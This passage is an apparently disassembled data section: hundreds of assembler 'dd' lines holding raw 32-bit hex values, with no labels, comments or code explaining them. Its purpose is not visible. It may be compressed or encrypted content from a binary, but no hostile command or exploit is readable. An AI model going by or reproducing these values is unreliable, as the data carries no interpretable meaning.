		dd 0ABE97AD3h, 7D1E5878h, 0E76C3EE3h, 3304A700h, 0F75D2D5Fh
		dd 652AEB02h, 4087E06Bh, 6D74C6h, 98B09135h, 0CF3385EDh
		dd 5CEC9BA0h, 0DDF2E5F0h, 695A8300h, 9FC99A35h,	6A1A3EC8h
		dd 569C8880h, 2BDC78ADh, 0D7CCA400h, 7308EA9Dh,	0DEAC05EDh
		dd 0C09C3453h, 0D05DBDD4h, 0F23AD900h, 8F73DDB8h, 0F15B0397h
		dd 9372F0E5h, 1AE903Ch,	9E82A984h, 4920C02Eh, 603D1F98h
		dd 965B002Fh, 63060F22h, 3809BB02h, 0E04402C6h,	0FC088A15h
		dd 0A0640074h, 418DA615h, 0B0084B5h, 5418DA16h,	53DF7Eh
		dd 11975140h, 0CF25935Ch, 0D84A7D2Ah, 0F7F17C61h, 24310585h
		dd 2ABD308Eh, 63737B60h, 6E604B82h, 0A2DD4CA8h,	0A43B54BFh
		dd 27F10069h, 7F0D5795h, 670F976Ch, 0A0F4CB8Ah,	0EFAC7624h
		dd 22B9187Bh, 0BFE5309Fh, 0A5469906h, 8132E8h, 0A075C67h
		dd 0C10478B5h, 5BADDA00h, 0F6136EBDh, 80B90041h, 837200Fh
		dd 0CB00DD82h, 58843C23h, 185D69Dh, 0A9951BB7h,	60085C36h
		dd 910010F3h, 822D6764h, 0E2C60Fh, 14A6AC34h, 0C3AED6FDh
		dd 9A00AFE8h, 1F7DCC55h
		dd 484DB3h, 0CE683D9Eh,	0DFD89725h, 4E3C50F6h, 0CAD963Ah
		dd 0A19CD102h, 9470400Eh, 0EDD0F463h, 1AB0D4h, 547E5849h
		dd 316CE91Dh, 0E0D75B00h, 4A5EC7E3h, 3F9E0063h,	585671C6h
		dd 6C0086A1h, 0FA29251Dh, 584D7EC8h, 0DA0AFDCDh, 949B73h
		dd 1F6549C4h, 50033DB2h, 0D0F91E9Dh, 5233D899h,	0A0B600E2h
		dd 0A95939EEh, 0DF00EDE1h, 0A806F98Fh, 1E45ACC4h, 80DA2D21h
		dd 13F5D5Ah, 8628F476h,	2BF8C84Fh, 8BFEFA00h, 18B4CCF6h
		dd 0DCE2487Ch, 0B7F89900h, 818E1DCEh, 50004491h, 0FA6D04A5h
		dd 447503C4h, 6A8CEB18h, 0EA0BA805h, 0A020AA52h, 1322C7CDh
		dd 42E8BDh, 330A7F98h, 0EB012C47h, 8DC9DE6Ch, 0B1F44E6Eh
		dd 1F92A0F4h, 321B0037h, 0CD1E3387h, 8D18727Ah,	2160623Eh
		dd 739400A0h, 1F43ACB9h, 0F0081F6h, 980A09DFh, 625B37h
		dd 91FB848Ah, 1ACA993Ch, 0D0F4A500h, 0CC2F6CEEh, 73B61811h
		dd 82C910C2h, 656D8C00h, 0CDF10912h, 56322651h,	0C8600027h
		dd 8DAB347Bh, 3C8CBF50h, 0F0C020h, 744EBD4Dh, 980E7B26h
		dd 3A229F01h, 0AFFE5F8Ch, 797CF7h, 8EBE3CE8h, 0C53FFA14h
		dd 0D0700A00h, 1861ADF9h, 570900DEh, 0ABCBA619h, 0CA01BAEFh
		dd 56947F70h, 903447B8h, 0EDB20030h, 0E812F5B6h, 2C1EC90Eh
		dd 2140F6F1h, 6EE71676h, 9C1400EFh, 0DA1702AFh,	0C900F9BDh
		dd 0E20962DFh, 6DC2A93h, 39ECF83Dh, 0C003006h, 791CAB63h
		dd 1CC3A832h, 0F0F57526h, 4E612D28h, 81B84A2Eh,	0AA9F1400h
		dd 996ED07h, 0B69476AFh, 2B3FE080h, 2C00672Eh, 8234E5D2h
		dd 8B5358h, 36D3DA1Eh, 0E0E41603h, 2C2C6B50h, 4F6DAF07h
		dd 12080B5h, 276625Ah, 6E92C405h, 18C8BAA3h, 0EC009506h
		dd 89D101A1h, 0D84C2Bh,	0FBA913A6h, 106EA37Eh, 3A37DA01h
		dd 634DAD66h, 0F7587E20h, 0DD9CDCh, 3DC94B70h, 681322B5h
		dd 8E710703h, 0A82B9B23h, 1D51C5B3h, 801EF574h,	65D718FCh
		dd 241F280Ah, 4880A5DEh, 4F4B9858h, 0E03B000Dh,	0F2E63FD2h
		dd 6C0011F9h, 0D5C2F527h, 0C6BD12h, 0C890DCA4h,	0F35A5F4h
		dd 0DF26087Fh, 9F9E6467h, 334B7540h, 691BD2h, 3F7C07E0h
		dd 0E26A1429h, 0D339FA0Ch, 1D5186Ch, 169C1C5Bh,	0F0DF6560h
		dd 1AE436C9h, 0B5EBA200h, 3AFB9296h, 0E42701D4h, 1D356407h
		dd 0C5D14054h, 7C072EE9h, 0EFAA1A22h, 0D7A2F340h, 8789DE41h
		dd 1142660Fh, 408D45F1h, 5163A998h, 1C0F8574h, 0E060586Eh
		dd 0A15B754Bh, 386B006Fh, 56052303h, 9C0064BEh,	36B73EADh
		dd 7D11D739h, 6EE60059h, 23FA1F77h, 0D203867Bh,	2AF2D9CEh
		dd 0A845E3D3h, 0E5DE5Fh, 2B543FA0h, 6E141C7Fh, 0FDC18000h
		dd 0B92ECB46h, 3AEFC3Dh, 4FB5D2ACh, 27D81EECh, 7000F33Bh
		dd 10CFF687h, 0EFEDD4EAh, 7C9FC0h, 28069423h, 0DB09A0Fh
		dd 1760C94Ch, 5500928Ch, 576EB15Fh, 86E4ABh, 1DC2A154h
		dd 49FE4BA8h, 64584892h, 27485468h, 0BE6F7103h,	0E841C9A3h
		dd 2C992F20h, 0B988544h, 1C916D70h, 2494CC8Bh, 0BFE35100h
		dd 1761DA7Bh, 0B23F073Ch, 8028ACF4h, 40DC1262h,	0E01CF979h
		dd 9480E57Dh, 2BB56472h, 0BF1B006Ch, 48D0F5B2h,	3000A823h
		dd 462799C3h, 3D9D31h, 8320A3F2h, 0FCE68406h, 8094853Eh
		dd 2681D3A6h, 7E2B548h,	9A5566C0h, 0B3BCA0FAh, 0C34D67CAh
		dd 0CF0F004Ch, 0C09F36AAh, 5B9004Bh, 9B37C83Fh,	0BD0147A4h
		dd 44D9287Ch, 1D60BAE9h, 0C1700995h, 5182EAACh,	74C04E2Ch
		dd 2000FEAFh, 44AAD7EDh, 0C0CE27BAh, 1BC94361h,	0F401CDACh
		dd 0B4615D71h, 1050ED81h, 40AC1A9Bh, 8C2AE9Dh, 0C062E775h
		dd 0C0B5BA28h, 3E66E10h, 20C5B012h, 2000E78Ch, 7A5D7BEh
		dd 1AD50E43h, 89E3615Ch, 91E7C242h, 0F2D6790Ch,	0E3E1468h
		dd 95526E03h, 7C14CDD3h, 426F0040h, 0B9154727h,	0E474FF64h
		dd 0DA516260h, 0B8C5Eh,	5AE683C4h, 1D19AF30h, 0FF41531Fh
		dd 0EB12E107h, 0EFC02B40h, 0DAC41758h, 0C6B609AAh, 0FA8F9180h
		dd 0C2036774h, 1CE255C3h, 0D5400B51h, 6A80C89Eh, 0F478BEAh
		dd 85C7AA00h, 5DDB9199h, 7644006Ch, 3B11457h, 590079A9h
		dd 0BFBBA5F3h, 128B91h,	175DD883h, 1D223253h, 3556581Fh
		dd 0BFCA7B04h, 0B2D8B8A1h, 55EE00E7h, 0C3BA577Fh, 912EF6C6h
		dd 8700219Fh, 8684E18Ch, 5F050F8Dh, 0C0DC1C62h,	6A68903h
		dd 0C4946B08h, 0A00415h, 0E3C685E8h, 0A9F7Eh, 0D5D0A135h
		dd 5D1C8175h, 4C97809Fh, 2A344EB8h, 38B0E147h, 0A90EAA0Bh
		dd 1D53E070h, 0F69C4097h, 611F5762h, 63919726h,	3878E780h
		dd 37306A8Fh, 0A641FC42h, 79008117h, 7FCD05BAh,	3D0149ACh
		dd 0B1006A10h, 0E7A64BBBh, 609A17F4h, 610FCA00h, 0D25F2E9Ch
		dd 0CAB17D6h, 8B65004Eh, 8393A8AFh, 0AA4A0900h,	0DBC61385h
		dd 2892FCh, 6B1D5036h, 4488597Fh, 8F1BBE00h, 0A0EB6D1Ch
		dd 0EA0D0496h, 8894306Ch, 4D1E6120h, 0B407842Ch, 0BAC7A1A9h
		dd 20EFEC4Fh, 0F5830C1h, 0D8558B28h, 3024B700h,	0DA62275Dh
		dd 0CED02CCh, 1A4D3407h, 40157884h, 610ACEB5h, 0EEA90339h
		dd 0C16512CBh, 0E920A08Ch, 0A72F370Eh, 0F930BDC3h, 0F29F3196h
		dd 0FD1B25EFh, 9201C8DEh, 0BB1DBC0h, 0F633C4E0h, 722158A4h
		dd 40B0A91Dh, 0E35F32ACh, 0C000905Bh, 9F3FA96h,	0B47D19h
		dd 8B3FC344h, 75CD76AEh, 0DC60A100h, 0A4E70597h, 614C03A6h
		dd 8E5CCCF0h, 0E0730CD9h, 260F92B8h, 40539D7Eh,	2837B50Eh
		dd 2AF5008Bh, 6C86CAA3h, 0A600432Dh, 30E7BCD1h,	5CD8C9h
		dd 0EFB3B171h, 0E9C77484h, 76F261Ch, 729CB2C0h,	0F44F19Eh
		dd 6B4B8C02h, 0CCD8FA00h, 6C00062Ch, 1093A178h,	1F1E2E7Ch
		dd 0B014F7h, 0C9AD6EEAh, 190037F8h, 0FE2AF041h,	71329BE9h
		dd 0B03C0097h, 9D4C8ABCh, 7C00182Dh, 0FF96B419h, 7DC47Eh
		dd 0CAD84A0Bh, 0DBAC3474h, 0FB590E07h, 83206F92h, 98DA35D0h
		dd 0DF7200C6h, 0CD2769C6h, 30323B5h, 561A93FBh,	28AAF03Dh
		dd 0C37E3CFCh, 0C0FC89Dh, 3D1939BEh, 0A25804A5h, 279B3EB0h
		dd 56007A3Eh, 2FE77895h, 0E000E326h, 426939DFh,	3D3A255h
		dd 77D0D163h, 29214199h, 0D79F0843h, 225DA2BDh,	571033C1h
		dd 4E11E439h, 5E0B11D4h, 4B40447Fh, 0E16D2284h,	4E111F42h
		dd 3B7F115Bh, 2964574Ch, 4DD22123h, 50825312h, 3724E24Eh
		dd 94460227h, 1125A703h, 21DDFC29h, 4582085Bh, 0E8C8DB90h
		dd 588EF90h, 0C94F46h, 417A1961h, 226B8FA9h, 4D302700h
		dd 0A5CEDD18h, 92EF00CFh, 977D2F04h, 0BE003928h, 0E5577C8Ch
		dd 1D2ADBE6h, 8033E7B7h, 366EC621h, 8E07DD0Ah, 16E20DF5h
		dd 0ACA0AB80h, 927D53h,	14E8857h, 9938E9DBh, 0E53D1FE6h
		dd 0D4358016h, 9A81EF8Eh, 81500D6h, 8922B86Ah, 9F26EA9Bh
		dd 0A7000137h, 9E1F74Dh, 46BA2EA8h, 0B08D145Ch,	0EB61D400h
		dd 887DC581h, 0A937AF05h, 0FA81CB26h, 8AE01B4Ah, 1A0C0048h
		dd 0EE8C1C0Fh, 4600AED8h, 92D5D3Ch, 90EE055h, 5468A540h
		dd 3F333C20h, 79038126h, 0C9A85697h, 30A998CFh,	7E0801BEh
		dd 19C3EE5Bh, 0F033205Dh, 8835DF00h, 0A0DE2C01h, 0CB6500A1h
		dd 0BFC4874Eh, 12FCBE92h, 0FD8939h, 6B9F4070h, 79C72FCh
		dd 0F378ED63h, 4C6E80B1h, 657ED068h, 0D905860h,	0F49C64h
		dd 0CF684FAh, 4C2DF939h, 99892B02h, 81410EDAh, 6FCB779Dh
		dd 0A2DDB880h, 0FCB04DB1h, 0CA43631Eh, 0F610ECC4h, 5EE097C0h
		dd 0E65A00D8h, 5474974Ah
		dd 3E057C07h, 0C20813B8h, 60C5E7C2h, 3E95DA62h,	5400D7A3h
		dd 83A766Bh, 3E004964h,	0D9BC1D9Ch, 0FA5CA4h, 0BA734701h
		dd 0C8CCA132h, 0E940F801h, 8B94C317h, 3ED7B4F4h, 0A00719DDh
		dd 0C3D34D2Dh, 27F04850h, 7F4C9B3Ah, 0C6040098h, 7B1BC8D0h
		dd 3DA1391Ch, 0D9C53380h, 84346B63h, 9782A00h, 0EFE9FBFAh
		dd 0C8600007h, 8DCEA497h, 4016D25h, 0E13F8480h,	30C00893h
		dd 5207CC1h, 0BFDDB826h, 3AEC0037h, 412D0134h, 8953A300h
		dd 7DB3C4B6h, 0B8470215h, 8DEAC762h, 900DA360h,	0B400C9EAh
		dd 6A2C3AE9h, 930E14Ah,	0F903BCCBh, 0D49DAE00h,	78908AF7h
		dd 63896A00h, 1BF0A039h, 7745011Eh, 748DEBB4h, 51B2802Bh
		dd 9A3F6726h, 0AF689h, 0C3062120h, 0B04BE9A1h, 0F2CF7001h
		dd 25846D9Fh, 0BC5EF4h,	3A93AEA8h, 0E261D7D5h, 0E410A760h
		dd 7455283Dh, 261F7DB5h, 809885BFh, 0F7023279h,	1C00F298h
		dd 9EDBB889h, 650D8Ch, 0FA7F0660h, 5FFCE4DCh, 8E892100h
		dd 3E2F9B12h, 0AC9A01F5h, 0A742E60Dh, 0EB1A60E0h, 0BDDE4A00h
		dd 982CF43Dh, 35E07Dh, 6D8264DBh, 7B4D1E6Fh, 2FA95102h
		dd 42ADDAB7h, 916C87E1h, 3A470C50h, 211D00BEh, 1654AE44h
		dd 0F200C0A9h, 0A1238FC5h, 8363CDh, 0D1A55BE0h,	6B5CFA4Bh
		dd 68869260h, 0EF2295h,	1B730694h, 47CB0515h, 2E762F74h
		dd 0D9D9200h, 89188F3Eh, 93B5A07Bh, 356717E3h, 249E1F6Dh
		dd 25AA0100h, 0F8ECE4Ah, 0FE3897A2h, 0BD4D1F28h, 0D70B0144h
		dd 0C46E12DEh, 0FD041A9Dh, 0F056749Ch, 0A789ACC0h, 4B390054h
		dd 0D3A47311h, 1EF67AE5h, 0CC1DBF00h, 8FBE52BAh, 91D001D5h
		dd 4B838C87h, 84C440A1h, 1000E4B9h, 3316BDAFh, 2992F5Dh
		dd 0BAC4CD48h, 19604387h, 9716AEB6h, 1FEB3F59h,	905C4037h
		dd 54478F5Fh, 0F1AA4B1Dh, 0F834A400h, 4679C51h,	0E142B2F6h
		dd 4FE7C090h, 0CF1E9168h, 98808BBDh, 645EA999h,	4DA985Fh
		dd 0AEFDCB41h, 6E00BF7Dh, 81884CC4h, 76FC7E26h,	2F3E0332h
		dd 0EF1FB6A6h, 10431E98h, 7EB8EE00h, 2E0ADDAFh,	3ECA3AD2h
		dd 3723A109h, 0BD72CA80h, 22009ABAh, 80FFB3B9h,	572696h
		dd 0D80B79D6h, 0A0A8AE4Dh, 0EB5B2C26h, 68B36C00h, 118E9Ah
		dd 862162BDh, 7DC1F3E6h, 74F79900h, 0F95C353Fh,	31C2006Eh
		dd 0A60B3B4Bh, 1B3A49F2h, 82700032h, 20D1DBBEh,	0BDB228D4h
		dd 29EB0FB8h, 0FE6F8B18h, 0BCE1DF40h, 2B007BF3h, 0CB55F0B5h
		dd 0FD7DA69h, 95F48AA0h, 0D0DB5BE0h, 197F2BDFh,	0FF091400h
		dd 8D5F9334h, 4B81C18h,	9F2980B7h, 0FC05614Ah, 37526600h
		dd 6D21D90Eh, 22930F7Ah, 0F4A03EBDh, 0E2D58911h, 5BCB5600h
		dd 7039C03Bh, 2C73009Fh, 0B4CD035Ch, 0F52E87ECh, 0BB98A5h
		dd 0AAB202AFh, 4038CFh,	0CD7FF2DAh, 0BDD7545Ah,	959E70Bh
		dd 981C023Fh, 0CA02E086h, 0F46D06AEh, 48B1084Ch, 502448h
		dd 946E1D69h, 0EF1E95Fh, 0F5835866h, 0C7E28EA4h, 0AB6FC000h
		dd 1700EF49h, 3DACED95h, 0EE04D46Ah, 5B0008Eh, 62D2316Dh
		dd 1F753E2Eh, 3B131900h, 4CCBC704h, 0FD480055h,	709AC38Dh
		dd 4B00E1E4h, 0A12126DAh, 2318580h, 37727B90h, 0BE80E3DCh
		dd 18576D0Bh, 33BDC900h, 1A5AEC3Eh, 0AD5807D3h,	0E0BF76AAh
		dd 0A72ADD5Ch, 6504321Fh, 0E900C9A4h, 0E8B9B331h, 8E0D1418h
		dd 9500E4C2h, 0BF2517A9h, 58004435h, 0E57094C5h, 0A45F6EFh
		dd 0AD809667h, 0B78A0388h, 0BE880286h, 53009765h, 0B66E19DEh
		dd 0FEF0BB69h, 0BCFF0408h, 0C81214D6h, 9700EC24h, 2331D55h
		dd 2C2F3Ah, 83667449h, 0A8DF53C4h, 77B09300h, 7901DE5Dh
		dd 0DA7731h, 1DE4B676h,	389785D9h, 7292B40Eh, 2A7F00CAh
		dd 0EF4EBDDh, 9EC771CFh, 4A805A4Bh, 0EE44AD97h,	7D001492h
		dd 0D86165C5h, 127159AAh, 5109DDh, 0CEE05767h, 1F007318h
		dd 0B31A94CFh, 3DC5627h, 0AF51D8B4h, 41B97BF0h,	608C0CEh
		dd 2C4DCF24h, 0F3129503h, 0B822BDD9h, 14DE411Eh, 60106DF8h
		dd 3464C287h, 0E0F7683Bh, 0B500F0D1h, 5EBBC4E9h, 73C5Dh
		dd 0AF8158EAh, 266EC24Fh, 0AA1FF473h, 0C8E405E9h, 5F464540h
		dd 0B08700D0h, 0C8B64BCAh, 4700C33Ah, 3078E1BCh, 0EEC6F6E4h
		dd 28F202FCh, 0E959D22Ch, 9AB479E0h, 37DB230Fh,	603AAF3Fh
		dd 0B86D111Eh, 5C90004Fh, 63E499BAh, 0EB009536h, 0B1E0477Ah
		dd 0C4FBB7h, 0C3AC15D4h, 3F27530Bh, 0B8BC4A00h,	6C25A139h
		dd 4C13F605h, 8A006572h, 35CAF649h, 2E00DEACh, 0A54BCDFFh
		dd 62B23Bh, 682427A7h, 85491C41h, 2BC7F700h, 0EAEF6F65h
		dd 0FF480F31h, 4A406977h, 27CEA1BFh, 2F417606h,	4C80B5E9h
		dd 0BD007517h, 50B6F373h, 9A0193C5h, 8F1E4FB1h,	0D3E42102h
		dd 0E4EF0067h, 11D8BC7h, 0E771AC2Bh, 0F8E3A10Eh, 0DB90623Ch
		dd 4242C0B3h, 886B6020h, 0AE06FCEEh, 22A8650Fh,	4EA5005Fh
		dd 0E12D7h, 1911FB21h, 20F0792Fh, 0CC7BB70Fh, 33BC67CBh
		dd 611BBEC0h, 0E6AB1D40h, 687AC0CAh, 0C0DA9481h, 0FB4B5B00h
		dd 4CC921F5h, 665900AEh, 37A2760Ah, 4703021Dh, 4F0531C3h
		dd 35600016h, 8C5B995Fh, 5700DB81h, 9104FC96h, 7215512Ah
		dd 0BC8D549Bh, 0EB721586h, 0A300A46Ah, 7E10B870h, 0F100F38Fh
		dd 0EEE8E67Bh, 575AEAh,	85CA093Eh, 7C8EA9F4h, 6FBAA100h
		dd 0E6E760E8h, 0E0DEFC15h, 92A30098h, 0D49CEC58h, 76004525h
		dd 8EE16535h, 2DDBC5Fh,	90549927h, 0C880C4BDh, 0A5AE7FCFh
		dd 8E262B00h, 0B5B83C07h, 61E80178h, 8DF5D92Ch,	0CF2F48Bh
		dd 0BE49F3Ch, 80D2F9C3h, 797E97B9h, 1F7B00EEh, 3C7691DDh
		dd 8E00B16Bh, 0B6BC15A0h, 0F6122F8h, 0E39D9733h, 0E600AEABh
		dd 1B3A2D32h, 993C5700h, 85C0224h, 84900074h, 58611C68h
		dd 78EE4CF7h, 8CA8C700h, 67D5FACAh, 7DA600CFh, 8896391h
		dd 0BB5AB229h, 0DD9FB0h, 1D44286Eh, 54B9AC34h, 9E118B00h
		dd 17C09C6Ah, 0D69B5818h, 0FE01C04Ch, 80D2EE35h, 0EFA4E1BEh
		dd 0FDD8B000h, 0AD1960C7h, 8D4D1E1Fh, 0CD738192h, 0D4C40698h
		dd 0F601D4A0h, 0E15CEED7h, 0C0EE7E65h, 7357Bh, 228693ABh
		dd 0C6E4BD55h, 0B7728F0Eh, 9712A0AFh, 0B5E3FCh,	0BB55DB7Bh
		dd 0DEF4AA35h, 0C88EB400h, 2EB8F6E2h, 0A3950067h, 0C15708F5h
		dd 0B9039E06h, 9B85EA05h, 3ACD34Dh, 544418C0h, 0EFA0644Ch
		dd 0AB2808B9h, 4A009437h, 8DA5D436h, 57EB4B7h, 2994CBC9h
		dd 86A44057h, 564360AEh, 0BD002390h, 0B5101AB2h, 1D992506h
		dd 39BEC952h, 0D20F713Bh, 1080C5D3h, 5CE4C058h,	9F746907h
		dd 6C003BF8h, 2A0BD9EEh, 3B85D2Dh, 9867A8D8h, 92F270ABh
		dd 0D2A640FFh, 76720025h, 51FD60B9h, 0C41FD6B4h, 1440D98Dh
		dd 0E7BC291h, 0D82A00B8h, 0FFD55CECh, 360A8C18h, 81FCA407h
		dd 7A85314h, 0F239DB6Eh, 0D05BE0DFh, 7DAC17h, 0A0DE0376h
		dd 275D20EDh, 70964C07h, 89FE2Ch, 38AB1816h, 0BEDCA071h
		dd 2AFFA85h, 35344D81h,	0A880B1DDh, 4AEC0DB0h, 19F5980h
		dd 0D86FA7E1h, 0C4A376C0h, 2D00E8D6h, 7AB8D26Ah, 7E103CF2h
		dd 0A0E90065h, 9707E7E5h, 0F607E389h, 56864AFh,	876258D0h
		dd 0F39600D6h, 6FD24FF8h, 0FC00B6E0h, 0E5016C24h, 1C99F1DCh
		dd 0E3F79E2h, 0E720B350h, 0BD086E8Bh, 87FF58h, 42CDBE76h
		dd 4858EB64h, 0D60074BFh, 17B49BA8h, 1B154C9Ah,	5F888A0h
		dd 9C2A0544h, 0BB47D000h, 5CF83F51h, 600013CAh,	0F49FDE79h
		dd 7700BA8Bh, 8250AE2Dh
		dd 75B212h, 0E5F93FB8h,	0A29B1CC6h, 0DB68931Ch,	604F690Fh
		dd 54A39279h, 21DD3F8Ch, 0FB6A2680h, 38462AF3h,	0E7D0B700h
		dd 0AFA89D98h, 4F910088h, 24A609A9h, 48000E96h,	9EB39953h
		dd 0E85415h, 0B8EA2165h, 0DFEF730Dh, 0F0C30A28h, 0D3B35C00h
		dd 15B4A406h, 0D930C09Eh, 6E7D46FCh, 1A923E01h,	0CDC86CF4h
		dd 9E5E4E4h, 8209C095h,	608AE807h, 0CB5985ABh, 0E93B1500h
		dd 8443945Dh, 3C99BFh, 7731200Eh, 14003BA1h, 6F73C6A6h
		dd 408783Eh, 3D594249h,	0B444C203h, 0E0705941h,	0FC7CA983h
		dd 0FA4BBC00h, 892C37C9h, 4195004Ah, 0CB302705h, 0CA3E7BE5h
		dd 64F0081h, 42169661h,	17C5001Ch, 26A904Bh, 0EC07276Fh
		dd 9E1E93B6h, 630E1430h, 42C45CB2h, 0E9805300h,	0C8F73040h
		dd 0D2BC7702h, 80547F4Bh, 0FF55CD8Ch, 0AC6900B1h, 0EDEC060h
		dd 25009DC6h, 752CBD6Bh, 7B499CC7h, 45EC44h, 62F4F377h
		dd 0FB479689h, 0AB1E6A09h, 66B700AFh, 4C8117ECh, 6C00788Dh
		dd 6022E9A6h, 0EE26D430h, 0AB82963Ch, 62D53878h, 0C81C40D2h
		dd 19B7006Bh, 0C372660Eh, 5300AD10h, 7F45115Ch,	0B6DF4Fh
		dd 5788B16Ah, 56C25A04h, 1CCEAE00h, 65085BFFh, 44CF004Ah
		dd 0F1EA31BEh, 523EAC29h, 74D880C4h, 0A83DDB69h, 75441D6Ah
		dd 462DC06Fh, 0CE6B7A31h, 2B9AF81Fh, 3D02B7C1h,	118093E3h
		dd 7AB5E0F5h, 0F0057DCFh, 0BB654BDFh, 74399802h, 8546879h
		dd 0E71C00E1h, 0FA942550h, 1B018F8Ah, 92B4C7Dh,	6DB90A8h
		dd 0A0F9A228h, 0F503F122h, 94B672F8h, 0B211D951h, 13A438F0h
		dd 0D5A2F6h, 737B195Eh,	59039D92h, 9F2C3F55h, 0D3A5C8D7h
		dd 637B53h, 6DF7EE67h, 0FBA9575Ch, 76880C00h, 634F8D55h
		dd 4E874CCBh, 166B11Dh,	8034AE96h, 897C3092h, 0BD8F2108h
		dd 3F20051h, 0F63C5B55h, 983BE500h, 0F732FA97h,	741F0039h
		dd 0CDC47DD6h, 0A7000118h, 48B7E58Fh, 312FFB1h,	8DAC23EDh
		dd 7F9C593h, 47CE20D8h,	47CAF4Ch, 4B55B00Ch, 0FC63EF00h
		dd 0A000413Fh, 6A36C024h, 1F5A8E31h, 806BFEC1h,	2A9BCC1Bh
		dd 3800BBDBh, 5D7CAFEDh, 79FD091Ah, 6AAD0314h, 5297C0FCh
		dd 64683BB2h, 0AC994B46h, 4FA15B80h, 1304E96Dh,	8C131Ah
		dd 47634D5Ch, 4000ED7Ch, 0FDAEBF90h, 0B11CB68h,	0EE73F75Dh
		dd 5B148Ah, 89C17D97h, 550075A0h, 0C233109Ch, 7065DC38h
		dd 12E47C1Ch, 133983h, 71BBD1F0h, 11C1968Bh, 0F1CAE3CDh
		dd 5CC3A3C4h, 0BC0336E6h, 46455763h, 0D6155D88h, 4B2C1400h
		dd 0F9951DB1h, 2376E9h,	0EA5C3B81h, 34BAE356h, 364F41F8h
		dd 0D13B08E8h, 9C5FD705h, 9ED80704h, 1B2D80CEh,	6C0B5917h
		dd 9050EB2h, 5E988079h,	4830D0C2h, 0E50134B3h, 71EAE468h
		dd 0A0F09374h, 0D4F3E302h, 0B064606Ah, 892B00A7h, 58C729E1h
		dd 5D500F8Dh, 0B30079ACh, 0D9FEF6B2h, 0CB6715h,	8F913101h
		dd 7539B9B1h, 30E0A2E6h, 0B7F3C528h, 8089E73Bh,	0F229FAECh
		dd 17E3A9EAh, 0C8ED96h,	6F51154h, 6704D052h, 0B4DAD273h
		dd 58E72FC0h, 70B60564h, 0C0F6C41Dh, 93610241h,	0A40F4705h
		dd 18807B36h, 43F069h, 0B12D974Fh, 0A14926F3h, 3747392Ch
		dd 712BAD01h, 0D0205537h, 0F7F065h, 0D709C1EAh,	0BB691307h
		dd 0C89DE63Fh, 3F6F0049h, 1E3D30F4h, 6BDC0EE8h,	35404CFBh
		dd 46B4C21Dh, 0C704C600h, 13DE4929h, 8ADA2690h,	1D140268h
		dd 0F1C1E51h, 0FC27DECCh, 44CB2DE2h, 0CEBD4C61h, 303AC8A4h
		dd 60F080h, 0C6950A1Dh,	144BF628h, 8A6C9802h, 0E0530C22h
		dd 602C04E9h, 43103905h, 9F4D8146h, 3DB50218h, 50BC5855h
		dd 38C5012Ch, 18E6EEE2h, 0A8B4F0D1h, 513581C2h,	75844925h
		dd 1CA5B860h, 40DA2C6Fh, 0D603F4B3h, 0CB12BE7Fh, 230F3149h
		dd 6577C10Ch, 782002C2h, 0F9AF14B4h, 7400D04Eh,	5C291CC8h
		dd 0B2001E04h, 0E2A1C067h, 8C77BBh, 34C56EDAh, 0D1DC7406h
		dd 6F3638h, 73937FDFh, 10B71C6h, 0A4E44C7Ch, 0FA786A10h
		dd 0B8DB8160h, 36A9E800h, 352C5AEAh, 4BA109FBh,	0F4407A2Eh
		dd 0B6004EE7h, 0A4F8D762h, 202B81h, 618D51EAh, 5F11BE55h
		dd 1D7D220Fh, 0D34CE037h, 1FE27B62h, 96704E2Fh,	49144073h
		dd 0F1AF2B9Dh, 99005C99h, 62368B27h, 3B670095h,	85B770EEh
		dd 0C1785D09h, 8D38F000h, 1322D35Eh, 6C870002h,	48FF86CBh
		dd 5400089Ah, 1692771Eh, 93AAFB9Eh, 9BC50004h, 0D8706FBAh
		dd 66B98C1Dh, 52991903h, 8D1290B8h, 0E3A000F4h,	0EA3A2B2Dh
		dd 6090BA22h, 78A8CF00h, 923BD5CAh, 0AA6100FBh,	6C16A5FEh
		dd 4896ECEFh, 2600C912h, 0D6E1145h, 0E64900DBh,	523F5776h
		dd 9639644Fh, 9C040079h, 0F8BCCE65h, 45A50153h,	0E56E1E56h
		dd 74C1F28Eh, 0F85D71DAh, 55035781h, 8F9E4397h,	0BD8CE018h
		dd 490D5h, 754B7E77h, 5B354858h, 0B0A75300h, 0A5F64DC4h
		dd 2D8500AFh, 5C2F6989h, 1601C010h, 56CEEB09h, 61DA0DDBh
		dd 4300E95Ch, 9500105Ah, 238E13Fh, 7557ECh, 36BC8896h
		dd 52DB24B4h, 2B3F6B00h, 0CAE14A08h, 411B1C15h,	0EF61C0B8h
		dd 591658C6h, 0BE0700B2h, 0F4D8FB49h, 4E41E34h,	9BB200E6h
		dd 2B1AE367h, 0AC007675h, 4A9E3AF4h, 3955B9h, 0BAD5C06Eh
		dd 22A21DEAh, 0C40E5A00h, 36F168BBh, 7D30026h, 94DBAE7Ch
		dd 6FE48085h, 12C1FC00h, 0A746E8Ah, 62CF13B8h, 0F6104006h
		dd 2714C51Bh, 0FEA23209h, 4CB88711h, 3A5EF2E0h,	29740102h
		dd 2254E199h, 9777DCA2h, 43B11500h, 0D0D8D4A9h,	5F570371h
		dd 0EF16501h, 2D8B61F8h, 46FE9C0h, 0AA355Eh, 73A3F0Ah
		dd 6B58FB37h, 0FF5B6200h, 0A3E394E0h, 0CFB41E8Eh, 5C040130h
		dd 0CC1F4391h, 680937E9h, 0F72F64F2h, 1E671CE0h, 7AA83401h
		dd 447503D4h, 98E9E5E8h, 920D0788h, 2017CC52h, 3245D195h
		dd 0CD9F441Dh, 55B57E47h, 0BCE69134h, 3C376000h, 0DDA8D828h
		dd 0CEB20500h, 957A237Eh, 3ED30998h, 7002475Fh,	20C6F208h
		dd 30F6D226h, 0CC1AC500h, 2C433D0Ah, 9644D681h,	0D0F02062h
		dd 6498886Ch, 8CC66D0Bh, 548C834Ah, 0B58800D9h,	2C215C42h
		dd 3D0277F9h, 17D2D324h, 88A063A5h, 0EF4328h, 0B11DE720h
		dd 412F4E7Fh, 0DAC6580Bh, 0E42E0007h, 1D2A2311h, 802B7CADh
		dd 25927430h, 24E6C403h, 0D26E7501h, 1310E23Bh,	0A348D4h
		dd 514719A5h, 0BCF9FAAEh, 62DC1400h, 11ED4B7Dh,	90890FE9h
		dd 2A0D0EEh, 749227B7h,	1EFFCA1Eh, 70A9D2C0h, 834F31h
		dd 54EB3A69h, 6F9BAD8Dh, 0A83F1400h, 0EE1979Eh,	7B5600BAh
		dd 5F9CF6DFh, 44023110h, 0FA35E9E3h, 0AD3440B2h, 0BC0F03A5h
